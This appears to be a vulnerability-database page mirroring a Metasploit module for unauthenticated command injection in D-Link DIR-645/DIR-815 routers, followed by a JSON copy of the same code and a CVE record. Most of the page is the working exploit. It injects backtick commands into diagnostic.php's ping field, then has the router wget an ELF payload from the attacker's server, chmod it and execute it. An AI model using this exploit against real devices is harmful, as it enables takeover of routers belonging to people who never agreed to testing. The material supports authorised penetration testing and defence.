Search...


D-Link DIR-645 / DIR-815 diagnostic.php Command Execution

2013-04-05T17:56:15
ID MSF:EXPLOIT/LINUX/HTTP/DLINK_DIAGNOSTIC_EXEC_NOAUTH
Type metasploit
Reporter Rapid7
Modified 2020-10-02T20:00:37

Description

Some D-Link Routers are vulnerable to OS Command injection in the web interface. On DIR-645 versions prior 1.03 authentication isn't needed to exploit it. On version 1.03 authentication is needed in order to trigger the vulnerability, which has been fixed definitely on version 1.04. Other D-Link products, like DIR-300 rev B and DIR-600, are also affected by this vulnerability. Not every device includes wget which we need for deploying our payload. On such devices you could use the cmd generic payload and try to start telnetd or execute other commands. Since it is a blind OS command injection vulnerability, there is no output for the executed command when using the cmd generic payload. A ping command against a controlled system could be used for testing purposes. This module has been tested successfully on DIR-645 prior to 1.03, where authentication isn't needed in order to exploit the vulnerability.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'D-Link DIR-645 / DIR-815 diagnostic.php Command Execution',
      'Description' => %q{
          Some D-Link Routers are vulnerable to OS Command injection in the web interface.
        On DIR-645 versions prior 1.03 authentication isn't needed to exploit it. On
        version 1.03 authentication is needed in order to trigger the vulnerability, which
        has been fixed definitely on version 1.04. Other D-Link products, like DIR-300 rev B
        and DIR-600, are also affected by this vulnerability. Not every device includes
        wget which we need for deploying our payload. On such devices you could use the cmd
        generic payload and try to start telnetd or execute other commands. Since it is a
        blind OS command injection vulnerability, there is no output for the executed
        command when using the cmd generic payload. A ping command against a controlled
        system could be used for testing purposes. This module has been tested successfully
        on DIR-645 prior to 1.03, where authentication isn't needed in order to exploit the
        vulnerability.
      },
      'Author'      =>
        [
          'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module
          'juan vazquez' # minor help with msf module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2014-100005' ],
          [ 'OSVDB', '92144' ],
          [ 'BID', '58938' ],
          [ 'EDB', '24926' ],
          [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-017' ]
        ],
      'DisclosureDate' => '2013-03-05',
      'Privileged'     => true,
      'Platform'       => %w{ linux unix },
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'Targets'        =>
        [
          [ 'CMD',
            {
            'Arch' => ARCH_CMD,
            'Platform' => 'unix'
            }
          ],
          [ 'Linux mipsel Payload',
            {
            'Arch' => ARCH_MIPSLE,
            'Platform' => 'linux'
            }
          ],
        ],
      'DefaultTarget'  => 1
      ))

    register_options(
      [
        OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
        OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
        OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60])
      ])
  end


  def request(cmd,uri)
    begin
      res = send_request_cgi({
        'uri'    => uri,
        'method' => 'POST',
        'vars_post' => {
          "act" => "ping",
          "dst" => "` #{cmd}`"
        }
      })
    return res
    rescue ::Rex::ConnectionError
      vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
      return nil
    end
  end

  def exploit
    downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
    uri = '/diagnostic.php'

    if target.name =~ /CMD/
      if not (datastore['CMD'])
        fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
      end
      cmd = payload.encoded
      res = request(cmd,uri)
      if (!res)
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
      end
      print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
      return
    end

    #thx to Juan for his awesome work on the mipsel elf support
    @pl = generate_payload_exe
    @elf_sent = false

    #
    # start our server
    #
    resource_uri = '/' + downfile

    if (datastore['DOWNHOST'])
      service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
    else
      #do not use SSL
      if datastore['SSL']
        ssl_restore = true
        datastore['SSL'] = false
      end

      #we use SRVHOST as download IP for the coming wget command.
      #SRVHOST needs a real IP address of our download host
      if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
        srv_host = Rex::Socket.source_address(rhost)
      else
        srv_host = datastore['SRVHOST']
      end

      service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri

      print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
      start_service({'Uri' => {
        'Proc' => Proc.new { |cli, req|
          on_request_uri(cli, req)
        },
        'Path' => resource_uri
      }})

      datastore['SSL'] = true if ssl_restore
    end

    #
    # download payload
    #
    print_status("#{rhost}:#{rport} - Asking the D-Link device to download #{service_url}")
    #this filename is used to store the payload on the device
    filename = rand_text_alpha_lower(8)

    #not working if we send all command together -> lets take three requests
    cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
    res = request(cmd,uri)
    if (!res)
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
    end

    # wait for payload download
    if (datastore['DOWNHOST'])
      print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the D-Link device to download the payload")
      select(nil, nil, nil, datastore['HTTP_DELAY'])
    else
      wait_linux_payload
    end
    register_file_for_cleanup("/tmp/#{filename}")

    #
    # chmod
    #
    cmd = "chmod 777 /tmp/#{filename}"
    print_status("#{rhost}:#{rport} - Asking the D-Link device to chmod #{downfile}")
    res = request(cmd,uri)
    if (!res)
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
    end

    #
    # execute
    #
    cmd = "/tmp/#{filename}"
    print_status("#{rhost}:#{rport} - Asking the D-Link device to execute #{downfile}")
    res = request(cmd,uri)
    if (!res)
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
    end

  end

  # Handle incoming requests from the server
  def on_request_uri(cli, request)
    #print_status("on_request_uri called: #{request.inspect}")
    if (not @pl)
      print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
      return
    end
    print_status("#{rhost}:#{rport} - Sending the payload to the server...")
    @elf_sent = true
    send_response(cli, @pl)
  end

  # wait for the data to be sent
  def wait_linux_payload
    print_status("#{rhost}:#{rport} - Waiting for the target to request the ELF payload...")

    waited = 0
    while (not @elf_sent)
      select(nil, nil, nil, 1)
      waited += 1
      if (waited > datastore['HTTP_DELAY'])
        fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?")
      end
    end
  end
end

                                        
                                    
JSON Vulners Source
Initial Source


All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2018
Protected by
{"id": "MSF:EXPLOIT/LINUX/HTTP/DLINK_DIAGNOSTIC_EXEC_NOAUTH", "type": "metasploit", "bulletinFamily": "exploit", "title": "D-Link DIR-645 / DIR-815 diagnostic.php Command Execution", "description": "Some D-Link Routers are vulnerable to OS Command injection in the web interface. On DIR-645 versions prior 1.03 authentication isn't needed to exploit it. On version 1.03 authentication is needed in order to trigger the vulnerability, which has been fixed definitely on version 1.04. Other D-Link products, like DIR-300 rev B and DIR-600, are also affected by this vulnerability. Not every device includes wget which we need for deploying our payload. On such devices you could use the cmd generic payload and try to start telnetd or execute other commands. Since it is a blind OS command injection vulnerability, there is no output for the executed command when using the cmd generic payload. A ping command against a controlled system could be used for testing purposes. This module has been tested successfully on DIR-645 prior to 1.03, where authentication isn't needed in order to exploit the vulnerability.\n", "published": "2013-04-05T17:56:15", "modified": "2020-10-02T20:00:37", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "href": "", "reporter": "Rapid7", "references": ["https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-100005", "http://www.s3cur1ty.de/m1adv2013-017"], "cvelist": ["CVE-2014-100005"], "lastseen": "2020-10-12T23:01:45", "viewCount": 62, "enchantments": {"score": {"value": 6.3, "vector": "NONE", "modified": "2020-10-12T23:01:45", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2014-100005"]}], "modified": "2020-10-12T23:01:45", "rev": 2}, "vulnersScore": 6.3}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::Remote::HttpServer\n include Msf::Exploit::EXE\n include Msf::Exploit::FileDropper\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'D-Link DIR-645 / DIR-815 diagnostic.php Command Execution',\n 'Description' => %q{\n Some D-Link Routers are vulnerable to OS Command injection in the web interface.\n On DIR-645 versions prior 1.03 authentication isn't needed to exploit it. On\n version 1.03 authentication is needed in order to trigger the vulnerability, which\n has been fixed definitely on version 1.04. Other D-Link products, like DIR-300 rev B\n and DIR-600, are also affected by this vulnerability. Not every device includes\n wget which we need for deploying our payload. On such devices you could use the cmd\n generic payload and try to start telnetd or execute other commands. Since it is a\n blind OS command injection vulnerability, there is no output for the executed\n command when using the cmd generic payload. A ping command against a controlled\n system could be used for testing purposes. This module has been tested successfully\n on DIR-645 prior to 1.03, where authentication isn't needed in order to exploit the\n vulnerability.\n },\n 'Author' =>\n [\n 'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module\n 'juan vazquez' # minor help with msf module\n ],\n 'License' => MSF_LICENSE,\n 'References' =>\n [\n [ 'CVE', '2014-100005' ],\n [ 'OSVDB', '92144' ],\n [ 'BID', '58938' ],\n [ 'EDB', '24926' ],\n [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-017' ]\n ],\n 'DisclosureDate' => '2013-03-05',\n 'Privileged' => true,\n 'Platform' => %w{ linux unix },\n 'Payload' =>\n {\n 'DisableNops' => true\n },\n 'Targets' =>\n [\n [ 'CMD',\n {\n 'Arch' => ARCH_CMD,\n 'Platform' => 'unix'\n }\n ],\n [ 'Linux mipsel Payload',\n {\n 'Arch' => ARCH_MIPSLE,\n 'Platform' => 'linux'\n }\n ],\n ],\n 'DefaultTarget' => 1\n ))\n\n register_options(\n [\n OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),\n OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),\n OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60])\n ])\n end\n\n\n def request(cmd,uri)\n begin\n res = send_request_cgi({\n 'uri' => uri,\n 'method' => 'POST',\n 'vars_post' => {\n \"act\" => \"ping\",\n \"dst\" => \"` #{cmd}`\"\n }\n })\n return res\n rescue ::Rex::ConnectionError\n vprint_error(\"#{rhost}:#{rport} - Failed to connect to the web server\")\n return nil\n end\n end\n\n def exploit\n downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))\n uri = '/diagnostic.php'\n\n if target.name =~ /CMD/\n if not (datastore['CMD'])\n fail_with(Failure::BadConfig, \"#{rhost}:#{rport} - Only the cmd/generic payload is compatible\")\n end\n cmd = payload.encoded\n res = request(cmd,uri)\n if (!res)\n fail_with(Failure::Unknown, \"#{rhost}:#{rport} - Unable to execute payload\")\n end\n print_status(\"#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state\")\n return\n end\n\n #thx to Juan for his awesome work on the mipsel elf support\n @pl = generate_payload_exe\n @elf_sent = false\n\n #\n # start our server\n #\n resource_uri = '/' + downfile\n\n if (datastore['DOWNHOST'])\n service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri\n else\n #do not use SSL\n if datastore['SSL']\n ssl_restore = true\n datastore['SSL'] = false\n end\n\n #we use SRVHOST as download IP for the coming wget command.\n #SRVHOST needs a real IP address of our download host\n if (datastore['SRVHOST'] == \"0.0.0.0\" or datastore['SRVHOST'] == \"::\")\n srv_host = Rex::Socket.source_address(rhost)\n else\n srv_host = datastore['SRVHOST']\n end\n\n service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri\n\n print_status(\"#{rhost}:#{rport} - Starting up our web service on #{service_url} ...\")\n start_service({'Uri' => {\n 'Proc' => Proc.new { |cli, req|\n on_request_uri(cli, req)\n },\n 'Path' => resource_uri\n }})\n\n datastore['SSL'] = true if ssl_restore\n end\n\n #\n # download payload\n #\n print_status(\"#{rhost}:#{rport} - Asking the D-Link device to download #{service_url}\")\n #this filename is used to store the payload on the device\n filename = rand_text_alpha_lower(8)\n\n #not working if we send all command together -> lets take three requests\n cmd = \"/usr/bin/wget #{service_url} -O /tmp/#{filename}\"\n res = request(cmd,uri)\n if (!res)\n fail_with(Failure::Unknown, \"#{rhost}:#{rport} - Unable to deploy payload\")\n end\n\n # wait for payload download\n if (datastore['DOWNHOST'])\n print_status(\"#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the D-Link device to download the payload\")\n select(nil, nil, nil, datastore['HTTP_DELAY'])\n else\n wait_linux_payload\n end\n register_file_for_cleanup(\"/tmp/#{filename}\")\n\n #\n # chmod\n #\n cmd = \"chmod 777 /tmp/#{filename}\"\n print_status(\"#{rhost}:#{rport} - Asking the D-Link device to chmod #{downfile}\")\n res = request(cmd,uri)\n if (!res)\n fail_with(Failure::Unknown, \"#{rhost}:#{rport} - Unable to deploy payload\")\n end\n\n #\n # execute\n #\n cmd = \"/tmp/#{filename}\"\n print_status(\"#{rhost}:#{rport} - Asking the D-Link device to execute #{downfile}\")\n res = request(cmd,uri)\n if (!res)\n fail_with(Failure::Unknown, \"#{rhost}:#{rport} - Unable to deploy payload\")\n end\n\n end\n\n # Handle incoming requests from the server\n def on_request_uri(cli, request)\n #print_status(\"on_request_uri called: #{request.inspect}\")\n if (not @pl)\n print_error(\"#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!\")\n return\n end\n print_status(\"#{rhost}:#{rport} - Sending the payload to the server...\")\n @elf_sent = true\n send_response(cli, @pl)\n end\n\n # wait for the data to be sent\n def wait_linux_payload\n print_status(\"#{rhost}:#{rport} - Waiting for the target to request the ELF payload...\")\n\n waited = 0\n while (not @elf_sent)\n select(nil, nil, nil, 1)\n waited += 1\n if (waited > datastore['HTTP_DELAY'])\n fail_with(Failure::Unknown, \"#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?\")\n end\n end\n end\nend\n", "metasploitReliability": "", "metasploitHistory": ""}
{"cve": [{"lastseen": "2021-02-02T06:14:26", "description": "Multiple cross-site request forgery (CSRF) vulnerabilities in D-Link DIR-600 router (rev. Bx) with firmware before 2.17b02 allow remote attackers to hijack the authentication of administrators for requests that (1) create an administrator account or (2) enable remote management via a crafted configuration module to hedwig.cgi, (3) activate new configuration settings via a SETCFG,SAVE,ACTIVATE action to pigwidgeon.cgi, or (4) send a ping via a ping action to diagnostic.php.", "edition": 6, "cvss3": {}, "published": "2015-01-13T11:59:00", "title": "CVE-2014-100005", "type": "cve", "cwe": ["CWE-352"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-100005"], "modified": "2017-09-08T01:29:00", "cpe": ["cpe:/h:d-link:dir-60:-", "cpe:/o:d-link:dir-600_firmware:2.16ww"], "id": "CVE-2014-100005", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-100005", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:h:d-link:dir-60:-:*:*:*:*:*:*:*", "cpe:2.3:o:d-link:dir-600_firmware:2.16ww:*:*:*:*:*:*:*"]}]}